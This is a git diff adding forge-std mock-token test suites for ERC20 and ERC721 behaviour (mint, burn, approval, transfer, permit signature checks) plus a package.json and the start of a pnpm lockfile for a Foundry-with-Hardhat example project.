+        uint256 privateKey = 0xBEEF;
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(
+                abi.encodePacked(
+                    '\x19\x01',
+                    token.DOMAIN_SEPARATOR(),
+                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 1, block.timestamp))
+                )
+            )
+        );
+
+        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
+    }
+
+    function testFailPermitBadDeadline() public {
+        uint256 privateKey = 0xBEEF;
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(
+                abi.encodePacked(
+                    '\x19\x01',
+                    token.DOMAIN_SEPARATOR(),
+                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp))
+                )
+            )
+        );
+
+        token.permit(owner, address(0xCAFE), 1e18, block.timestamp + 1, v, r, s);
+    }
+
+    function testFailPermitPastDeadline() public {
+        uint256 oldTimestamp = block.timestamp;
+        uint256 privateKey = 0xBEEF;
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(
+                abi.encodePacked(
+                    '\x19\x01',
+                    token.DOMAIN_SEPARATOR(),
+                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, oldTimestamp))
+                )
+            )
+        );
+
+        vm.warp(block.timestamp + 1);
+        token.permit(owner, address(0xCAFE), 1e18, oldTimestamp, v, r, s);
+    }
+
+    function testFailPermitReplay() public {
+        uint256 privateKey = 0xBEEF;
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(
+                abi.encodePacked(
+                    '\x19\x01',
+                    token.DOMAIN_SEPARATOR(),
+                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, address(0xCAFE), 1e18, 0, block.timestamp))
+                )
+            )
+        );
+
+        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
+        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
+    }
+
+    function testMetadata(string calldata name, string calldata symbol, uint8 decimals) public {
+        Token_ERC20 tkn = new Token_ERC20(name, symbol, decimals);
+        assertEq(tkn.name(), name);
+        assertEq(tkn.symbol(), symbol);
+        assertEq(tkn.decimals(), decimals);
+    }
+
+    function testMint(address from, uint256 amount) public {
+        token.mint(from, amount);
+
+        assertEq(token.totalSupply(), amount);
+        assertEq(token.balanceOf(from), amount);
+    }
+
+    function testBurn(address from, uint256 mintAmount, uint256 burnAmount) public {
+        burnAmount = bound(burnAmount, 0, mintAmount);
+
+        token.mint(from, mintAmount);
+        token.burn(from, burnAmount);
+
+        assertEq(token.totalSupply(), mintAmount - burnAmount);
+        assertEq(token.balanceOf(from), mintAmount - burnAmount);
+    }
+
+    function testApprove(address to, uint256 amount) public {
+        assertTrue(token.approve(to, amount));
+
+        assertEq(token.allowance(address(this), to), amount);
+    }
+
+    function testTransfer(address from, uint256 amount) public {
+        token.mint(address(this), amount);
+
+        assertTrue(token.transfer(from, amount));
+        assertEq(token.totalSupply(), amount);
+
+        if (address(this) == from) {
+            assertEq(token.balanceOf(address(this)), amount);
+        } else {
+            assertEq(token.balanceOf(address(this)), 0);
+            assertEq(token.balanceOf(from), amount);
+        }
+    }
+
+    function testTransferFrom(address to, uint256 approval, uint256 amount) public {
+        amount = bound(amount, 0, approval);
+
+        address from = address(0xABCD);
+
+        token.mint(from, amount);
+
+        vm.prank(from);
+        token.approve(address(this), approval);
+
+        assertTrue(token.transferFrom(from, to, amount));
+        assertEq(token.totalSupply(), amount);
+
+        uint256 app = from == address(this) || approval == type(uint256).max ? approval : approval - amount;
+        assertEq(token.allowance(from, address(this)), app);
+
+        if (from == to) {
+            assertEq(token.balanceOf(from), amount);
+        } else {
+            assertEq(token.balanceOf(from), 0);
+            assertEq(token.balanceOf(to), amount);
+        }
+    }
+
+    function testPermit(uint248 privKey, address to, uint256 amount, uint256 deadline) public {
+        uint256 privateKey = privKey;
+        if (deadline < block.timestamp) deadline = block.timestamp;
+        if (privateKey == 0) privateKey = 1;
+
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(abi.encodePacked('\x19\x01', token.DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))))
+        );
+
+        token.permit(owner, to, amount, deadline, v, r, s);
+
+        assertEq(token.allowance(owner, to), amount);
+        assertEq(token.nonces(owner), 1);
+    }
+
+    function testFailBurnInsufficientBalance(address to, uint256 mintAmount, uint256 burnAmount) public {
+        burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);
+
+        token.mint(to, mintAmount);
+        token.burn(to, burnAmount);
+    }
+
+    function testFailTransferInsufficientBalance(address to, uint256 mintAmount, uint256 sendAmount) public {
+        sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);
+
+        token.mint(address(this), mintAmount);
+        token.transfer(to, sendAmount);
+    }
+
+    function testFailTransferFromInsufficientAllowance(address to, uint256 approval, uint256 amount) public {
+        amount = bound(amount, approval + 1, type(uint256).max);
+
+        address from = address(0xABCD);
+
+        token.mint(from, amount);
+
+        vm.prank(from);
+        token.approve(address(this), approval);
+
+        token.transferFrom(from, to, amount);
+    }
+
+    function testFailTransferFromInsufficientBalance(address to, uint256 mintAmount, uint256 sendAmount) public {
+        sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);
+
+        address from = address(0xABCD);
+
+        token.mint(from, mintAmount);
+
+        vm.prank(from);
+        token.approve(address(this), sendAmount);
+
+        token.transferFrom(from, to, sendAmount);
+    }
+
+    function testFailPermitBadNonce(uint256 privateKey, address to, uint256 amount, uint256 deadline, uint256 nonce) public {
+        if (deadline < block.timestamp) deadline = block.timestamp;
+        if (privateKey == 0) privateKey = 1;
+        if (nonce == 0) nonce = 1;
+
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(
+                abi.encodePacked('\x19\x01', token.DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, nonce, deadline)))
+            )
+        );
+
+        token.permit(owner, to, amount, deadline, v, r, s);
+    }
+
+    function testFailPermitBadDeadline(uint256 privateKey, address to, uint256 amount, uint256 deadline) public {
+        if (deadline < block.timestamp) deadline = block.timestamp;
+        if (privateKey == 0) privateKey = 1;
+
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(abi.encodePacked('\x19\x01', token.DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))))
+        );
+
+        token.permit(owner, to, amount, deadline + 1, v, r, s);
+    }
+
+    function testFailPermitPastDeadline(uint256 privateKey, address to, uint256 amount, uint256 deadline) public {
+        deadline = bound(deadline, 0, block.timestamp - 1);
+        if (privateKey == 0) privateKey = 1;
+
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(abi.encodePacked('\x19\x01', token.DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))))
+        );
+
+        token.permit(owner, to, amount, deadline, v, r, s);
+    }
+
+    function testFailPermitReplay(uint256 privateKey, address to, uint256 amount, uint256 deadline) public {
+        if (deadline < block.timestamp) deadline = block.timestamp;
+        if (privateKey == 0) privateKey = 1;
+
+        address owner = vm.addr(privateKey);
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
+            privateKey,
+            keccak256(abi.encodePacked('\x19\x01', token.DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))))
+        );
+
+        token.permit(owner, to, amount, deadline, v, r, s);
+        token.permit(owner, to, amount, deadline, v, r, s);
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/mocks/MockERC721.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/mocks/MockERC721.t.sol
new file mode 100644
index 000000000..8c7805b3f
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/mocks/MockERC721.t.sol
@@ -0,0 +1,714 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import {MockERC721, IERC721TokenReceiver} from '../../src/mocks/MockERC721.sol';
+import {StdCheats} from '../../src/StdCheats.sol';
+import {Test} from '../../src/Test.sol';
+
+contract ERC721Recipient is IERC721TokenReceiver {
+    address public operator;
+    address public from;
+    uint256 public id;
+    bytes public data;
+
+    function onERC721Received(address _operator, address _from, uint256 _id, bytes calldata _data) public virtual override returns (bytes4) {
+        operator = _operator;
+        from = _from;
+        id = _id;
+        data = _data;
+
+        return IERC721TokenReceiver.onERC721Received.selector;
+    }
+}
+
+contract RevertingERC721Recipient is IERC721TokenReceiver {
+    function onERC721Received(address, address, uint256, bytes calldata) public virtual override returns (bytes4) {
+        revert(string(abi.encodePacked(IERC721TokenReceiver.onERC721Received.selector)));
+    }
+}
+
+contract WrongReturnDataERC721Recipient is IERC721TokenReceiver {
+    function onERC721Received(address, address, uint256, bytes calldata) public virtual override returns (bytes4) {
+        return 0xCAFEBEEF;
+    }
+}
+
+contract NonERC721Recipient {}
+
+contract Token_ERC721 is MockERC721 {
+    constructor(string memory _name, string memory _symbol) {
+        initialize(_name, _symbol);
+    }
+
+    function tokenURI(uint256) public pure virtual override returns (string memory) {}
+
+    function mint(address to, uint256 tokenId) public virtual {
+        _mint(to, tokenId);
+    }
+
+    function burn(uint256 tokenId) public virtual {
+        _burn(tokenId);
+    }
+
+    function safeMint(address to, uint256 tokenId) public virtual {
+        _safeMint(to, tokenId);
+    }
+
+    function safeMint(address to, uint256 tokenId, bytes memory data) public virtual {
+        _safeMint(to, tokenId, data);
+    }
+}
+
+contract MockERC721Test is StdCheats, Test {
+    Token_ERC721 token;
+
+    function setUp() public {
+        token = new Token_ERC721('Token', 'TKN');
+    }
+
+    function invariantMetadata() public view {
+        assertEq(token.name(), 'Token');
+        assertEq(token.symbol(), 'TKN');
+    }
+
+    function testMint() public {
+        token.mint(address(0xBEEF), 1337);
+
+        assertEq(token.balanceOf(address(0xBEEF)), 1);
+        assertEq(token.ownerOf(1337), address(0xBEEF));
+    }
+
+    function testBurn() public {
+        token.mint(address(0xBEEF), 1337);
+        token.burn(1337);
+
+        assertEq(token.balanceOf(address(0xBEEF)), 0);
+
+        vm.expectRevert('NOT_MINTED');
+        token.ownerOf(1337);
+    }
+
+    function testApprove() public {
+        token.mint(address(this), 1337);
+
+        token.approve(address(0xBEEF), 1337);
+
+        assertEq(token.getApproved(1337), address(0xBEEF));
+    }
+
+    function testApproveBurn() public {
+        token.mint(address(this), 1337);
+
+        token.approve(address(0xBEEF), 1337);
+
+        token.burn(1337);
+
+        assertEq(token.balanceOf(address(this)), 0);
+        assertEq(token.getApproved(1337), address(0));
+
+        vm.expectRevert('NOT_MINTED');
+        token.ownerOf(1337);
+    }
+
+    function testApproveAll() public {
+        token.setApprovalForAll(address(0xBEEF), true);
+
+        assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));
+    }
+
+    function testTransferFrom() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 1337);
+
+        vm.prank(from);
+        token.approve(address(this), 1337);
+
+        token.transferFrom(from, address(0xBEEF), 1337);
+
+        assertEq(token.getApproved(1337), address(0));
+        assertEq(token.ownerOf(1337), address(0xBEEF));
+        assertEq(token.balanceOf(address(0xBEEF)), 1);
+        assertEq(token.balanceOf(from), 0);
+    }
+
+    function testTransferFromSelf() public {
+        token.mint(address(this), 1337);
+
+        token.transferFrom(address(this), address(0xBEEF), 1337);
+
+        assertEq(token.getApproved(1337), address(0));
+        assertEq(token.ownerOf(1337), address(0xBEEF));
+        assertEq(token.balanceOf(address(0xBEEF)), 1);
+        assertEq(token.balanceOf(address(this)), 0);
+    }
+
+    function testTransferFromApproveAll() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 1337);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.transferFrom(from, address(0xBEEF), 1337);
+
+        assertEq(token.getApproved(1337), address(0));
+        assertEq(token.ownerOf(1337), address(0xBEEF));
+        assertEq(token.balanceOf(address(0xBEEF)), 1);
+        assertEq(token.balanceOf(from), 0);
+    }
+
+    function testSafeTransferFromToEOA() public {
+        address from = address(0xABCD);
+
+        token.mint(from, 1337);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.safeTransferFrom(from, address(0xBEEF), 1337);
+
+        assertEq(token.getApproved(1337), address(0));
+        assertEq(token.ownerOf(1337), address(0xBEEF));
+        assertEq(token.balanceOf(address(0xBEEF)), 1);
+        assertEq(token.balanceOf(from), 0);
+    }
+
+    function testSafeTransferFromToERC721Recipient() public {
+        address from = address(0xABCD);
+        ERC721Recipient recipient = new ERC721Recipient();
+
+        token.mint(from, 1337);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.safeTransferFrom(from, address(recipient), 1337);
+
+        assertEq(token.getApproved(1337), address(0));
+        assertEq(token.ownerOf(1337), address(recipient));
+        assertEq(token.balanceOf(address(recipient)), 1);
+        assertEq(token.balanceOf(from), 0);
+
+        assertEq(recipient.operator(), address(this));
+        assertEq(recipient.from(), from);
+        assertEq(recipient.id(), 1337);
+        assertEq(recipient.data(), '');
+    }
+
+    function testSafeTransferFromToERC721RecipientWithData() public {
+        address from = address(0xABCD);
+        ERC721Recipient recipient = new ERC721Recipient();
+
+        token.mint(from, 1337);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.safeTransferFrom(from, address(recipient), 1337, 'testing 123');
+
+        assertEq(token.getApproved(1337), address(0));
+        assertEq(token.ownerOf(1337), address(recipient));
+        assertEq(token.balanceOf(address(recipient)), 1);
+        assertEq(token.balanceOf(from), 0);
+
+        assertEq(recipient.operator(), address(this));
+        assertEq(recipient.from(), from);
+        assertEq(recipient.id(), 1337);
+        assertEq(recipient.data(), 'testing 123');
+    }
+
+    function testSafeMintToEOA() public {
+        token.safeMint(address(0xBEEF), 1337);
+
+        assertEq(token.ownerOf(1337), address(address(0xBEEF)));
+        assertEq(token.balanceOf(address(address(0xBEEF))), 1);
+    }
+
+    function testSafeMintToERC721Recipient() public {
+        ERC721Recipient to = new ERC721Recipient();
+
+        token.safeMint(address(to), 1337);
+
+        assertEq(token.ownerOf(1337), address(to));
+        assertEq(token.balanceOf(address(to)), 1);
+
+        assertEq(to.operator(), address(this));
+        assertEq(to.from(), address(0));
+        assertEq(to.id(), 1337);
+        assertEq(to.data(), '');
+    }
+
+    function testSafeMintToERC721RecipientWithData() public {
+        ERC721Recipient to = new ERC721Recipient();
+
+        token.safeMint(address(to), 1337, 'testing 123');
+
+        assertEq(token.ownerOf(1337), address(to));
+        assertEq(token.balanceOf(address(to)), 1);
+
+        assertEq(to.operator(), address(this));
+        assertEq(to.from(), address(0));
+        assertEq(to.id(), 1337);
+        assertEq(to.data(), 'testing 123');
+    }
+
+    function testFailMintToZero() public {
+        token.mint(address(0), 1337);
+    }
+
+    function testFailDoubleMint() public {
+        token.mint(address(0xBEEF), 1337);
+        token.mint(address(0xBEEF), 1337);
+    }
+
+    function testFailBurnUnMinted() public {
+        token.burn(1337);
+    }
+
+    function testFailDoubleBurn() public {
+        token.mint(address(0xBEEF), 1337);
+
+        token.burn(1337);
+        token.burn(1337);
+    }
+
+    function testFailApproveUnMinted() public {
+        token.approve(address(0xBEEF), 1337);
+    }
+
+    function testFailApproveUnAuthorized() public {
+        token.mint(address(0xCAFE), 1337);
+
+        token.approve(address(0xBEEF), 1337);
+    }
+
+    function testFailTransferFromUnOwned() public {
+        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
+    }
+
+    function testFailTransferFromWrongFrom() public {
+        token.mint(address(0xCAFE), 1337);
+
+        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
+    }
+
+    function testFailTransferFromToZero() public {
+        token.mint(address(this), 1337);
+
+        token.transferFrom(address(this), address(0), 1337);
+    }
+
+    function testFailTransferFromNotOwner() public {
+        token.mint(address(0xFEED), 1337);
+
+        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
+    }
+
+    function testFailSafeTransferFromToNonERC721Recipient() public {
+        token.mint(address(this), 1337);
+
+        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337);
+    }
+
+    function testFailSafeTransferFromToNonERC721RecipientWithData() public {
+        token.mint(address(this), 1337);
+
+        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337, 'testing 123');
+    }
+
+    function testFailSafeTransferFromToRevertingERC721Recipient() public {
+        token.mint(address(this), 1337);
+
+        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337);
+    }
+
+    function testFailSafeTransferFromToRevertingERC721RecipientWithData() public {
+        token.mint(address(this), 1337);
+
+        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337, 'testing 123');
+    }
+
+    function testFailSafeTransferFromToERC721RecipientWithWrongReturnData() public {
+        token.mint(address(this), 1337);
+
+        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337);
+    }
+
+    function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() public {
+        token.mint(address(this), 1337);
+
+        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337, 'testing 123');
+    }
+
+    function testFailSafeMintToNonERC721Recipient() public {
+        token.safeMint(address(new NonERC721Recipient()), 1337);
+    }
+
+    function testFailSafeMintToNonERC721RecipientWithData() public {
+        token.safeMint(address(new NonERC721Recipient()), 1337, 'testing 123');
+    }
+
+    function testFailSafeMintToRevertingERC721Recipient() public {
+        token.safeMint(address(new RevertingERC721Recipient()), 1337);
+    }
+
+    function testFailSafeMintToRevertingERC721RecipientWithData() public {
+        token.safeMint(address(new RevertingERC721Recipient()), 1337, 'testing 123');
+    }
+
+    function testFailSafeMintToERC721RecipientWithWrongReturnData() public {
+        token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337);
+    }
+
+    function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData() public {
+        token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337, 'testing 123');
+    }
+
+    function testFailBalanceOfZeroAddress() public view {
+        token.balanceOf(address(0));
+    }
+
+    function testFailOwnerOfUnminted() public view {
+        token.ownerOf(1337);
+    }
+
+    function testMetadata(string memory name, string memory symbol) public {
+        MockERC721 tkn = new Token_ERC721(name, symbol);
+
+        assertEq(tkn.name(), name);
+        assertEq(tkn.symbol(), symbol);
+    }
+
+    function testMint(address to, uint256 id) public {
+        if (to == address(0)) to = address(0xBEEF);
+
+        token.mint(to, id);
+
+        assertEq(token.balanceOf(to), 1);
+        assertEq(token.ownerOf(id), to);
+    }
+
+    function testBurn(address to, uint256 id) public {
+        if (to == address(0)) to = address(0xBEEF);
+
+        token.mint(to, id);
+        token.burn(id);
+
+        assertEq(token.balanceOf(to), 0);
+
+        vm.expectRevert('NOT_MINTED');
+        token.ownerOf(id);
+    }
+
+    function testApprove(address to, uint256 id) public {
+        if (to == address(0)) to = address(0xBEEF);
+
+        token.mint(address(this), id);
+
+        token.approve(to, id);
+
+        assertEq(token.getApproved(id), to);
+    }
+
+    function testApproveBurn(address to, uint256 id) public {
+        token.mint(address(this), id);
+
+        token.approve(address(to), id);
+
+        token.burn(id);
+
+        assertEq(token.balanceOf(address(this)), 0);
+        assertEq(token.getApproved(id), address(0));
+
+        vm.expectRevert('NOT_MINTED');
+        token.ownerOf(id);
+    }
+
+    function testApproveAll(address to, bool approved) public {
+        token.setApprovalForAll(to, approved);
+
+        assertEq(token.isApprovedForAll(address(this), to), approved);
+    }
+
+    function testTransferFrom(uint256 id, address to) public {
+        address from = address(0xABCD);
+
+        if (to == address(0) || to == from) to = address(0xBEEF);
+
+        token.mint(from, id);
+
+        vm.prank(from);
+        token.approve(address(this), id);
+
+        token.transferFrom(from, to, id);
+
+        assertEq(token.getApproved(id), address(0));
+        assertEq(token.ownerOf(id), to);
+        assertEq(token.balanceOf(to), 1);
+        assertEq(token.balanceOf(from), 0);
+    }
+
+    function testTransferFromSelf(uint256 id, address to) public {
+        if (to == address(0) || to == address(this)) to = address(0xBEEF);
+
+        token.mint(address(this), id);
+
+        token.transferFrom(address(this), to, id);
+
+        assertEq(token.getApproved(id), address(0));
+        assertEq(token.ownerOf(id), to);
+        assertEq(token.balanceOf(to), 1);
+        assertEq(token.balanceOf(address(this)), 0);
+    }
+
+    function testTransferFromApproveAll(uint256 id, address to) public {
+        address from = address(0xABCD);
+
+        if (to == address(0) || to == from) to = address(0xBEEF);
+
+        token.mint(from, id);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.transferFrom(from, to, id);
+
+        assertEq(token.getApproved(id), address(0));
+        assertEq(token.ownerOf(id), to);
+        assertEq(token.balanceOf(to), 1);
+        assertEq(token.balanceOf(from), 0);
+    }
+
+    function testSafeTransferFromToEOA(uint256 id, address to) public {
+        address from = address(0xABCD);
+
+        if (to == address(0) || to == from) to = address(0xBEEF);
+
+        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
+
+        token.mint(from, id);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.safeTransferFrom(from, to, id);
+
+        assertEq(token.getApproved(id), address(0));
+        assertEq(token.ownerOf(id), to);
+        assertEq(token.balanceOf(to), 1);
+        assertEq(token.balanceOf(from), 0);
+    }
+
+    function testSafeTransferFromToERC721Recipient(uint256 id) public {
+        address from = address(0xABCD);
+
+        ERC721Recipient recipient = new ERC721Recipient();
+
+        token.mint(from, id);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.safeTransferFrom(from, address(recipient), id);
+
+        assertEq(token.getApproved(id), address(0));
+        assertEq(token.ownerOf(id), address(recipient));
+        assertEq(token.balanceOf(address(recipient)), 1);
+        assertEq(token.balanceOf(from), 0);
+
+        assertEq(recipient.operator(), address(this));
+        assertEq(recipient.from(), from);
+        assertEq(recipient.id(), id);
+        assertEq(recipient.data(), '');
+    }
+
+    function testSafeTransferFromToERC721RecipientWithData(uint256 id, bytes calldata data) public {
+        address from = address(0xABCD);
+        ERC721Recipient recipient = new ERC721Recipient();
+
+        token.mint(from, id);
+
+        vm.prank(from);
+        token.setApprovalForAll(address(this), true);
+
+        token.safeTransferFrom(from, address(recipient), id, data);
+
+        assertEq(token.getApproved(id), address(0));
+        assertEq(token.ownerOf(id), address(recipient));
+        assertEq(token.balanceOf(address(recipient)), 1);
+        assertEq(token.balanceOf(from), 0);
+
+        assertEq(recipient.operator(), address(this));
+        assertEq(recipient.from(), from);
+        assertEq(recipient.id(), id);
+        assertEq(recipient.data(), data);
+    }
+
+    function testSafeMintToEOA(uint256 id, address to) public {
+        if (to == address(0)) to = address(0xBEEF);
+
+        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
+
+        token.safeMint(to, id);
+
+        assertEq(token.ownerOf(id), address(to));
+        assertEq(token.balanceOf(address(to)), 1);
+    }
+
+    function testSafeMintToERC721Recipient(uint256 id) public {
+        ERC721Recipient to = new ERC721Recipient();
+
+        token.safeMint(address(to), id);
+
+        assertEq(token.ownerOf(id), address(to));
+        assertEq(token.balanceOf(address(to)), 1);
+
+        assertEq(to.operator(), address(this));
+        assertEq(to.from(), address(0));
+        assertEq(to.id(), id);
+        assertEq(to.data(), '');
+    }
+
+    function testSafeMintToERC721RecipientWithData(uint256 id, bytes calldata data) public {
+        ERC721Recipient to = new ERC721Recipient();
+
+        token.safeMint(address(to), id, data);
+
+        assertEq(token.ownerOf(id), address(to));
+        assertEq(token.balanceOf(address(to)), 1);
+
+        assertEq(to.operator(), address(this));
+        assertEq(to.from(), address(0));
+        assertEq(to.id(), id);
+        assertEq(to.data(), data);
+    }
+
+    function testFailMintToZero(uint256 id) public {
+        token.mint(address(0), id);
+    }
+
+    function testFailDoubleMint(uint256 id, address to) public {
+        if (to == address(0)) to = address(0xBEEF);
+
+        token.mint(to, id);
+        token.mint(to, id);
+    }
+
+    function testFailBurnUnMinted(uint256 id) public {
+        token.burn(id);
+    }
+
+    function testFailDoubleBurn(uint256 id, address to) public {
+        if (to == address(0)) to = address(0xBEEF);
+
+        token.mint(to, id);
+
+        token.burn(id);
+        token.burn(id);
+    }
+
+    function testFailApproveUnMinted(uint256 id, address to) public {
+        token.approve(to, id);
+    }
+
+    function testFailApproveUnAuthorized(address owner, uint256 id, address to) public {
+        if (owner == address(0) || owner == address(this)) owner = address(0xBEEF);
+
+        token.mint(owner, id);
+
+        token.approve(to, id);
+    }
+
+    function testFailTransferFromUnOwned(address from, address to, uint256 id) public {
+        token.transferFrom(from, to, id);
+    }
+
+    function testFailTransferFromWrongFrom(address owner, address from, address to, uint256 id) public {
+        if (owner == address(0)) to = address(0xBEEF);
+        if (from == owner) revert();
+
+        token.mint(owner, id);
+
+        token.transferFrom(from, to, id);
+    }
+
+    function testFailTransferFromToZero(uint256 id) public {
+        token.mint(address(this), id);
+
+        token.transferFrom(address(this), address(0), id);
+    }
+
+    function testFailTransferFromNotOwner(address from, address to, uint256 id) public {
+        if (from == address(this)) from = address(0xBEEF);
+
+        token.mint(from, id);
+
+        token.transferFrom(from, to, id);
+    }
+
+    function testFailSafeTransferFromToNonERC721Recipient(uint256 id) public {
+        token.mint(address(this), id);
+
+        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id);
+    }
+
+    function testFailSafeTransferFromToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {
+        token.mint(address(this), id);
+
+        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id, data);
+    }
+
+    function testFailSafeTransferFromToRevertingERC721Recipient(uint256 id) public {
+        token.mint(address(this), id);
+
+        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id);
+    }
+
+    function testFailSafeTransferFromToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {
+        token.mint(address(this), id);
+
+        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id, data);
+    }
+
+    function testFailSafeTransferFromToERC721RecipientWithWrongReturnData(uint256 id) public {
+        token.mint(address(this), id);
+
+        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id);
+    }
+
+    function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data) public {
+        token.mint(address(this), id);
+
+        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id, data);
+    }
+
+    function testFailSafeMintToNonERC721Recipient(uint256 id) public {
+        token.safeMint(address(new NonERC721Recipient()), id);
+    }
+
+    function testFailSafeMintToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {
+        token.safeMint(address(new NonERC721Recipient()), id, data);
+    }
+
+    function testFailSafeMintToRevertingERC721Recipient(uint256 id) public {
+        token.safeMint(address(new RevertingERC721Recipient()), id);
+    }
+
+    function testFailSafeMintToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {
+        token.safeMint(address(new RevertingERC721Recipient()), id, data);
+    }
+
+    function testFailSafeMintToERC721RecipientWithWrongReturnData(uint256 id) public {
+        token.safeMint(address(new WrongReturnDataERC721Recipient()), id);
+    }
+
+    function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data) public {
+        token.safeMint(address(new WrongReturnDataERC721Recipient()), id, data);
+    }
+
+    function testFailOwnerOfUnminted(uint256 id) public view {
+        token.ownerOf(id);
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/package.json b/basic/41-foundry/with-hardhat/package.json
new file mode 100644
index 000000000..4ff6ad18d
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/package.json
@@ -0,0 +1,17 @@
+{
+  "name": "hardhat-project",
+  "scripts": {
+    "test": "forge test --root ."
+  },
+  "devDependencies": {
+    "@nomicfoundation/hardhat-chai-matchers": "^2.0.6",
+    "@nomicfoundation/hardhat-ethers": "^3.0.5",
+    "@nomicfoundation/hardhat-foundry": "^1.1.1",
+    "@nomicfoundation/hardhat-ignition": "^0.15.1",
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0",
+    "@typechain/hardhat": "^9.1.0",
+    "ethers": "^6.12.0",
+    "hardhat": "^2.22.3",
+    "typechain": "^8.3.2"
+  }
+}
diff --git a/basic/41-foundry/with-hardhat/pnpm-lock.yaml b/basic/41-foundry/with-hardhat/pnpm-lock.yaml
new file mode 100644
index 000000000..bdc4e7335
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/pnpm-lock.yaml
@@ -0,0 +1,4568 @@
+lockfileVersion: '9.0'
+
+settings:
+  autoInstallPeers: true
+  excludeLinksFromLockfile: false
+
+importers:
+
+  .:
+    devDependencies:
+      '@nomicfoundation/hardhat-chai-matchers':
+        specifier: ^2.0.6
+        version: 2.0.6(@nomicfoundation/hardhat-ethers@3.0.5(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)))(chai@4.4.1)(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@nomicfoundation/hardhat-ethers':
+        specifier: ^3.0.5
